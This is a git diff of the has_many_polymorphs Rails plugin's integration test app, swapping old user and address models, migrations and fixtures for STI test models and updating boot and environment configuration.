diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent_relationship.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent_relationship.rb
new file mode 100644
index 00000000..7f783c15
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent_relationship.rb
@@ -0,0 +1,4 @@
+class SingleStiParentRelationship < ActiveRecord::Base
+ belongs_to :single_sti_parent
+ belongs_to :the_bone, :polymorphic => true
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/state.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/state.rb
deleted file mode 100644
index 8b25cd4f..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/state.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class State < ActiveRecord::Base
- has_many :addresses
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stick.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stick.rb
new file mode 100644
index 00000000..4992506a
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stick.rb
@@ -0,0 +1,2 @@
+class Stick < ActiveRecord::Base
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stone.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stone.rb
new file mode 100644
index 00000000..8617396e
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stone.rb
@@ -0,0 +1,2 @@
+class Stone < ActiveRecord::Base
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/user.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/user.rb
deleted file mode 100644
index 97b87031..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/user.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class User < ActiveRecord::Base
- has_one :seller
- has_one :address
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/bones/index.rhtml b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/bones/index.rhtml
new file mode 100644
index 00000000..06f1dad3
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/bones/index.rhtml
@@ -0,0 +1,5 @@
+
+
Bones: index
+<% @bones.each do |bone| %>
+
ID: <%= bone.id %>
+<% end %>
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/boot.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/boot.rb
index b7af0c35..cb9a72da 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/boot.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/config/boot.rb
@@ -1,45 +1,110 @@
-# Don't change this file. Configuration is done in config/environment.rb and config/environments/*.rb
+# Don't change this file!
+# Configure your app in config/environment.rb and config/environments/*.rb
-unless defined?(RAILS_ROOT)
- root_path = File.join(File.dirname(__FILE__), '..')
+RAILS_ROOT = "#{File.dirname(__FILE__)}/.." unless defined?(RAILS_ROOT)
- unless RUBY_PLATFORM =~ /(:?mswin|mingw)/
- require 'pathname'
- root_path = Pathname.new(root_path).cleanpath(true).to_s
- end
-
- RAILS_ROOT = root_path
-end
-
-unless defined?(Rails::Initializer)
- if File.directory?("#{RAILS_ROOT}/vendor/rails")
- require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer"
- else
- require 'rubygems'
-
- environment_without_comments = IO.readlines(File.dirname(__FILE__) + '/environment.rb').reject { |l| l =~ /^#/ }.join
- environment_without_comments =~ /[^#]RAILS_GEM_VERSION = '([\d.]+)'/
- rails_gem_version = $1
-
- if version = defined?(RAILS_GEM_VERSION) ? RAILS_GEM_VERSION : rails_gem_version
- # Asking for 1.1.6 will give you 1.1.6.5206, if available -- makes it easier to use beta gems
- rails_gem = Gem.cache.search('rails', "~>#{version}.0").sort_by { |g| g.version.version }.last
-
- if rails_gem
- gem "rails", "=#{rails_gem.version.version}"
- require rails_gem.full_gem_path + '/lib/initializer'
- else
- STDERR.puts %(Cannot find gem for Rails ~>#{version}.0:
- Install the missing gem with 'gem install -v=#{version} rails', or
- change environment.rb to define RAILS_GEM_VERSION with your desired version.
- )
- exit 1
+module Rails
+ class << self
+ def boot!
+ unless booted?
+ preinitialize
+ pick_boot.run
end
- else
- gem "rails"
- require 'initializer'
+ end
+
+ def booted?
+ defined? Rails::Initializer
+ end
+
+ def pick_boot
+ (vendor_rails? ? VendorBoot : GemBoot).new
+ end
+
+ def vendor_rails?
+ File.exist?("#{RAILS_ROOT}/vendor/rails")
+ end
+
+ def preinitialize
+ load(preinitializer_path) if File.exists?(preinitializer_path)
+ end
+
+ def preinitializer_path
+ "#{RAILS_ROOT}/config/preinitializer.rb"
end
end
- Rails::Initializer.run(:set_load_path)
+ class Boot
+ def run
+ load_initializer
+ Rails::Initializer.run(:set_load_path)
+ end
+ end
+
+ class VendorBoot < Boot
+ def load_initializer
+ require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer"
+ end
+ end
+
+ class GemBoot < Boot
+ def load_initializer
+ self.class.load_rubygems
+ load_rails_gem
+ require 'initializer'
+ end
+
+ def load_rails_gem
+ if version = self.class.gem_version
+ STDERR.puts "Boot.rb loading version #{version}"
+ gem 'rails', version
+ else
+ STDERR.puts "Boot.rb loading latest available version"
+ gem 'rails'
+ end
+ rescue Gem::LoadError => load_error
+ $stderr.puts %(Missing the Rails #{version} gem. Please `gem install -v=#{version} rails`, update your RAILS_GEM_VERSION setting in config/environment.rb for the Rails version you do have installed, or comment out RAILS_GEM_VERSION to use the latest version installed.)
+ exit 1
+ end
+
+ class << self
+ def rubygems_version
+ Gem::RubyGemsVersion if defined? Gem::RubyGemsVersion
+ end
+
+ def gem_version
+ if defined? RAILS_GEM_VERSION
+ RAILS_GEM_VERSION
+ elsif ENV.include?('RAILS_GEM_VERSION')
+ ENV['RAILS_GEM_VERSION']
+ else
+ parse_gem_version(read_environment_rb)
+ end
+ end
+
+ def load_rubygems
+ require 'rubygems'
+
+ unless rubygems_version >= '0.9.4'
+ $stderr.puts %(Rails requires RubyGems >= 0.9.4 (you have #{rubygems_version}). Please `gem update --system` and try again.)
+ exit 1
+ end
+
+ rescue LoadError
+ $stderr.puts %(Rails requires RubyGems >= 0.9.4. Please install RubyGems and try again: http://rubygems.rubyforge.org)
+ exit 1
+ end
+
+ def parse_gem_version(text)
+ $1 if text =~ /^[^#]*RAILS_GEM_VERSION\s*=\s*'([!~<>=]*\s*[\d.]+)'/
+ end
+
+ private
+ def read_environment_rb
+ File.read("#{RAILS_ROOT}/config/environment.rb")
+ end
+ end
+ end
end
+
+# All that for this:
+Rails.boot!
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/database.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/config/database.yml
index 76b26dc1..c64a5d89 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/database.yml
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/config/database.yml
@@ -1,21 +1,17 @@
-development:
- adapter: mysql
+defaults: &defaults
+ adapter: <%= ENV['DB'] || 'mysql' %>
host: localhost
database: hmp_development
username: root
password:
+development:
+ <<: *defaults
+
test:
- adapter: mysql
- host: localhost
- database: hmp_test
- username: root
- password:
+ <<: *defaults
production:
- adapter: mysql
- host: localhost
- database: hmp_production
- username: root
- password:
+ <<: *defaults
+
\ No newline at end of file
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb
index 0da37032..39f34dee 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb
@@ -1,13 +1,19 @@
-
require File.join(File.dirname(__FILE__), 'boot')
+require 'action_controller'
Rails::Initializer.run do |config|
- if config.action_controller.respond_to? :"session="
- config.action_controller.session = { :session_key => "_myapp_session", :secret => "this is a super secret phrase" }
+ if ActionController::Base.respond_to? 'session='
+ config.action_controller.session = {:session_key => '_app_session', :secret => '22cde4d5c1a61ba69a81795322cde4d5c1a61ba69a817953'}
end
config.load_paths << "#{RAILS_ROOT}/app/models/person" # moduleless model path
+
+ config.after_initialize do
+ config.has_many_polymorphs_options['requirements'] << "#{RAILS_ROOT}/lib/library_model"
+ end
end
# Dependencies.log_activity = true
+
+ENV['RAILS_ASSET_ID'] = Time.now.to_i.to_s
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb.canonical b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb.canonical
new file mode 100644
index 00000000..39f34dee
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb.canonical
@@ -0,0 +1,19 @@
+require File.join(File.dirname(__FILE__), 'boot')
+require 'action_controller'
+
+Rails::Initializer.run do |config|
+
+ if ActionController::Base.respond_to? 'session='
+ config.action_controller.session = {:session_key => '_app_session', :secret => '22cde4d5c1a61ba69a81795322cde4d5c1a61ba69a817953'}
+ end
+
+ config.load_paths << "#{RAILS_ROOT}/app/models/person" # moduleless model path
+
+ config.after_initialize do
+ config.has_many_polymorphs_options['requirements'] << "#{RAILS_ROOT}/lib/library_model"
+ end
+end
+
+# Dependencies.log_activity = true
+
+ENV['RAILS_ASSET_ID'] = Time.now.to_i.to_s
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb
index a6b7fe2e..da561362 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb
@@ -1,7 +1,8 @@
-config.cache_classes = false
+
+config.cache_classes = ENV['PRODUCTION']
config.whiny_nils = true
-config.action_controller.consider_all_requests_local = true
-config.action_controller.perform_caching = false
-config.action_view.cache_template_extensions = false
-config.action_view.debug_rjs = true
+config.action_controller.consider_all_requests_local = !ENV['PRODUCTION']
+config.action_controller.perform_caching = ENV['PRODUCTION']
+config.action_view.cache_template_extensions = ENV['PRODUCTION']
+config.action_view.debug_rjs = !ENV['PRODUCTION']
config.action_mailer.raise_delivery_errors = false
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/001_create_sticks.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/001_create_sticks.rb
new file mode 100644
index 00000000..6193c313
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/001_create_sticks.rb
@@ -0,0 +1,11 @@
+class CreateSticks < ActiveRecord::Migration
+ def self.up
+ create_table :sticks do |t|
+ t.column :name, :string
+ end
+ end
+
+ def self.down
+ drop_table :sticks
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/001_create_users.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/001_create_users.rb
deleted file mode 100644
index de097566..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/001_create_users.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class CreateUsers < ActiveRecord::Migration
- def self.up
- create_table "users", :force => true do |t|
- t.string "login", :limit => 64, :default => "", :null => false
- t.string "email", :default => "", :null => false
- t.string "crypted_password", :limit => 64, :default => "", :null => false
- t.string "salt", :limit => 64, :default => "", :null => false
- t.datetime "created_at"
- t.datetime "updated_at"
- end
- end
-
- def self.down
- drop_table :users
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/002_create_sellers.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/002_create_sellers.rb
deleted file mode 100644
index ecb077fb..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/002_create_sellers.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-class CreateSellers < ActiveRecord::Migration
- def self.up
- create_table "sellers", :force => true do |t|
- t.integer "user_id", :null => false
- t.string "company_name"
- t.datetime "created_at"
- t.datetime "updated_at"
- end
- end
-
- def self.down
- drop_table :sellers
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/002_create_stones.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/002_create_stones.rb
new file mode 100644
index 00000000..4c1ec154
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/002_create_stones.rb
@@ -0,0 +1,11 @@
+class CreateStones < ActiveRecord::Migration
+ def self.up
+ create_table :stones do |t|
+ t.column :name, :string
+ end
+ end
+
+ def self.down
+ drop_table :stones
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/003_create_addresses.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/003_create_addresses.rb
deleted file mode 100644
index a54f224b..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/003_create_addresses.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class CreateAddresses < ActiveRecord::Migration
- def self.up
- create_table "addresses", :force => true do |t|
- t.integer "user_id", :null => false
- t.string "name"
- t.string "line_1", :default => "", :null => false
- t.string "line_2"
- t.string "city", :default => "", :null => false
- t.integer "state_id", :null => false
- t.string "province_region"
- t.string "zip_postal_code"
- t.integer "country_id", :null => false
- end
- end
-
- def self.down
- drop_table :addresses
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/003_create_organic_substances.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/003_create_organic_substances.rb
new file mode 100644
index 00000000..1bf82da6
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/003_create_organic_substances.rb
@@ -0,0 +1,11 @@
+class CreateOrganicSubstances < ActiveRecord::Migration
+ def self.up
+ create_table :organic_substances do |t|
+ t.column :type, :string
+ end
+ end
+
+ def self.down
+ drop_table :organic_substances
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/004_create_bones.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/004_create_bones.rb
new file mode 100644
index 00000000..6faa0aa1
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/004_create_bones.rb
@@ -0,0 +1,8 @@
+class CreateBones < ActiveRecord::Migration
+ def self.up
+ # Using STI
+ end
+
+ def self.down
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/004_create_states.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/004_create_states.rb
deleted file mode 100644
index 797e6f7e..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/004_create_states.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class CreateStates < ActiveRecord::Migration
- def self.up
- create_table "states", :force => true do |t|
- t.string "name", :default => "", :null => false
- t.string "abbreviation", :default => "", :null => false
- end
- end
-
- def self.down
- drop_table "states"
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/005_add_capitalization_to_seller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/005_add_capitalization_to_seller.rb
deleted file mode 100644
index 4042173e..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/005_add_capitalization_to_seller.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class AddCapitalizationToSeller < ActiveRecord::Migration
- def self.up
- add_column :sellers, :capitalization, :float, :default => 0.0
- end
-
- def self.down
- remove_column :sellers, :capitalization
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/005_create_single_sti_parents.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/005_create_single_sti_parents.rb
new file mode 100644
index 00000000..eef14621
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/005_create_single_sti_parents.rb
@@ -0,0 +1,11 @@
+class CreateSingleStiParents < ActiveRecord::Migration
+ def self.up
+ create_table :single_sti_parents do |t|
+ t.column :name, :string
+ end
+ end
+
+ def self.down
+ drop_table :single_sti_parents
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/006_add_deleted_to_user.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/006_add_deleted_to_user.rb
deleted file mode 100644
index 2690b866..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/006_add_deleted_to_user.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class AddDeletedToUser < ActiveRecord::Migration
- def self.up
- add_column :users, :deleted, :boolean, :default => false
- end
-
- def self.down
- remove_column :users, :deleted
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/006_create_double_sti_parents.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/006_create_double_sti_parents.rb
new file mode 100644
index 00000000..2a28f4ab
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/006_create_double_sti_parents.rb
@@ -0,0 +1,11 @@
+class CreateDoubleStiParents < ActiveRecord::Migration
+ def self.up
+ create_table :double_sti_parents do |t|
+ t.column :name, :string
+ end
+ end
+
+ def self.down
+ drop_table :double_sti_parents
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/007_add_lat_and_long_to_address.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/007_add_lat_and_long_to_address.rb
deleted file mode 100644
index 83ad3822..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/007_add_lat_and_long_to_address.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class AddLatAndLongToAddress < ActiveRecord::Migration
- def self.up
- add_column :addresses, :lat, :float
- add_column :addresses, :long, :float
- end
-
- def self.down
- remove_column :addresses, :lat
- remove_column :addresses, :long
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/007_create_single_sti_parent_relationships.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/007_create_single_sti_parent_relationships.rb
new file mode 100644
index 00000000..deceeec7
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/007_create_single_sti_parent_relationships.rb
@@ -0,0 +1,13 @@
+class CreateSingleStiParentRelationships < ActiveRecord::Migration
+ def self.up
+ create_table :single_sti_parent_relationships do |t|
+ t.column :the_bone_type, :string, :null => false
+ t.column :the_bone_id, :integer, :null => false
+ t.column :single_sti_parent_id, :integer, :null => false
+ end
+ end
+
+ def self.down
+ drop_table :single_sti_parent_relationships
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/008_create_citations.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/008_create_citations.rb
deleted file mode 100644
index be9190ec..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/008_create_citations.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class CreateCitations < ActiveRecord::Migration
- def self.up
- create_table :citations do |t|
- t.string :name
- t.timestamps
- end
- end
-
- def self.down
- drop_table :citations
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/008_create_double_sti_parent_relationships.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/008_create_double_sti_parent_relationships.rb
new file mode 100644
index 00000000..46605d9b
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/008_create_double_sti_parent_relationships.rb
@@ -0,0 +1,14 @@
+class CreateDoubleStiParentRelationships < ActiveRecord::Migration
+ def self.up
+ create_table :double_sti_parent_relationships do |t|
+ t.column :the_bone_type, :string, :null => false
+ t.column :the_bone_id, :integer, :null => false
+ t.column :parent_type, :string, :null => false
+ t.column :parent_id, :integer, :null => false
+ end
+ end
+
+ def self.down
+ drop_table :double_sti_parent_relationships
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/009_create_citations_items.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/009_create_citations_items.rb
deleted file mode 100644
index 1aafd739..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/009_create_citations_items.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-class CreateCitationsItems < ActiveRecord::Migration
- def self.up
- create_table :citations_items do |t|
- t.integer :citation_id, :null => false
- t.integer :item_id, :null => false
- t.string :item_type, :null => false
- t.timestamps
- end
- end
-
- def self.down
- drop_table :citations_items
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/009_create_library_model.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/009_create_library_model.rb
new file mode 100644
index 00000000..bdf7cf46
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/009_create_library_model.rb
@@ -0,0 +1,11 @@
+class CreateLibraryModel < ActiveRecord::Migration
+ def self.up
+ create_table :library_models do |t|
+ t.column :name, :string
+ end
+ end
+
+ def self.down
+ drop_table :library_models
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/lib/library_model.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/lib/library_model.rb
new file mode 100644
index 00000000..e27106fa
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/lib/library_model.rb
@@ -0,0 +1,2 @@
+class LibraryModel < ActiveRecord::Base
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/addresses.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/addresses.yml
deleted file mode 100644
index c92ba8d2..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/addresses.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-<% 1.upto(40) do |num| %>
-<%="address#{num}:" %>
- id: <%= num %>
- user_id: <%= num %>
- name: <%= "Chicago Branch Office #{num}" %>
- line_1: "3344 Airport Road"
- line_2: "Suite 122"
- city: "Chicago"
- state_id: 15
- province_region: "Cook County"
- zip_postal_code: "43554"
- country_id: 2
-<% end %>
\ No newline at end of file
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/citations.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/citations.yml
deleted file mode 100644
index b2c68a76..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/citations.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
-one:
- id: 1
- created_at: 2007-10-04 17:14:07
- updated_at: 2007-10-04 17:14:07
-two:
- id: 2
- created_at: 2007-10-04 17:14:07
- updated_at: 2007-10-04 17:14:07
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/citations_items.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/citations_items.yml
deleted file mode 100644
index 37bc5a10..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/citations_items.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
-one:
- id: 1
- created_at: 2007-10-04 17:14:27
- updated_at: 2007-10-04 17:14:27
-two:
- id: 2
- created_at: 2007-10-04 17:14:27
- updated_at: 2007-10-04 17:14:27
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parent_relationships.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parent_relationships.yml
new file mode 100644
index 00000000..5bf02933
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parent_relationships.yml
@@ -0,0 +1,7 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+
+# one:
+# column: value
+#
+# two:
+# column: value
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parents.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parents.yml
new file mode 100644
index 00000000..5bf02933
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parents.yml
@@ -0,0 +1,7 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+
+# one:
+# column: value
+#
+# two:
+# column: value
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/organic_substances.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/organic_substances.yml
new file mode 100644
index 00000000..123ef537
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/organic_substances.yml
@@ -0,0 +1,5 @@
+one:
+ type: Bone
+
+two:
+ type: Bone
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/sellers.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/sellers.yml
deleted file mode 100644
index d056384b..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/sellers.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-<% 1.upto(20) do |num| %>
-<%="seller#{num}:" %>
- id: <%= num %>
- user_id: <%= num %>
- company_name: <%= "seller#{num}" %>
- capitalization: <%= num * 1.548 %>
- created_at: <%= (Time.now - num.weeks).to_s :db %>
- updated_at: <%= (Time.now - num.days).to_s :db %>
-<% end %>
-
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parent_relationships.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parent_relationships.yml
new file mode 100644
index 00000000..5bf02933
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parent_relationships.yml
@@ -0,0 +1,7 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+
+# one:
+# column: value
+#
+# two:
+# column: value
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parents.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parents.yml
new file mode 100644
index 00000000..5bf02933
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parents.yml
@@ -0,0 +1,7 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+
+# one:
+# column: value
+#
+# two:
+# column: value
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/states.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/states.yml
deleted file mode 100644
index c2b13611..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/states.yml
+++ /dev/null
@@ -1,216 +0,0 @@
-AA:<% id = 0 %>
- id: <%= (id=id+1).to_s %>
- name: AA
- abbreviation: AA
-AE:
- id: <%= (id=id+1).to_s %>
- name: AE
- abbreviation: AE
-AP:
- id: <%= (id=id+1).to_s %>
- name: AP
- abbreviation: AP
-AL:
- id: <%= (id=id+1).to_s %>
- name: Alabama
- abbreviation: AL
-AK:
- id: <%= (id=id+1).to_s %>
- name: Alaska
- abbreviation: AK
-AZ:
- id: <%= (id=id+1).to_s %>
- name: Arizona
- abbreviation: AZ
-AR:
- id: <%= (id=id+1).to_s %>
- name: Arkansas
- abbreviation: AR
-CA:
- id: <%= (id=id+1).to_s %>
- name: California
- abbreviation: CA
-CO:
- id: <%= (id=id+1).to_s %>
- name: Colorado
- abbreviation: CO
-CT:
- id: <%= (id=id+1).to_s %>
- name: Connecticut
- abbreviation: CT
-DE:
- id: <%= (id=id+1).to_s %>
- name: Delaware
- abbreviation: DE
-DC:
- id: <%= (id=id+1).to_s %>
- name: District of Columbia
- abbreviation: DC
-FL:
- id: <%= (id=id+1).to_s %>
- name: Florida
- abbreviation: FL
-GA:
- id: <%= (id=id+1).to_s %>
- name: Georgia
- abbreviation: GA
-HI:
- id: <%= (id=id+1).to_s %>
- name: Hawaii
- abbreviation: HI
-ID:
- id: <%= (id=id+1).to_s %>
- name: Idaho
- abbreviation: ID
-IL:
- id: <%= (id=id+1).to_s %>
- name: Illinois
- abbreviation: IL
-IN:
- id: <%= (id=id+1).to_s %>
- name: Indiana
- abbreviation: IN
-IA:
- id: <%= (id=id+1).to_s %>
- name: Iowa
- abbreviation: IA
-KS:
- id: <%= (id=id+1).to_s %>
- name: Kansas
- abbreviation: KS
-KY:
- id: <%= (id=id+1).to_s %>
- name: Kentucky
- abbreviation: KY
-LA:
- id: <%= (id=id+1).to_s %>
- name: Louisiana
- abbreviation: LA
-ME:
- id: <%= (id=id+1).to_s %>
- name: Maine
- abbreviation: ME
-MD:
- id: <%= (id=id+1).to_s %>
- name: Maryland
- abbreviation: MD
-MA:
- id: <%= (id=id+1).to_s %>
- name: Massachusetts
- abbreviation: MA
-MI:
- id: <%= (id=id+1).to_s %>
- name: Michigan
- abbreviation: MI
-MN:
- id: <%= (id=id+1).to_s %>
- name: Minnesota
- abbreviation: MN
-MS:
- id: <%= (id=id+1).to_s %>
- name: Mississippi
- abbreviation: MS
-MO:
- id: <%= (id=id+1).to_s %>
- name: Missouri
- abbreviation: MO
-MT:
- id: <%= (id=id+1).to_s %>
- name: Montana
- abbreviation: MT
-NE:
- id: <%= (id=id+1).to_s %>
- name: Nebraska
- abbreviation: NE
-NV:
- id: <%= (id=id+1).to_s %>
- name: Nevada
- abbreviation: NV
-NH:
- id: <%= (id=id+1).to_s %>
- name: New Hampshire
- abbreviation: NH
-NJ:
- id: <%= (id=id+1).to_s %>
- name: New Jersey
- abbreviation: NJ
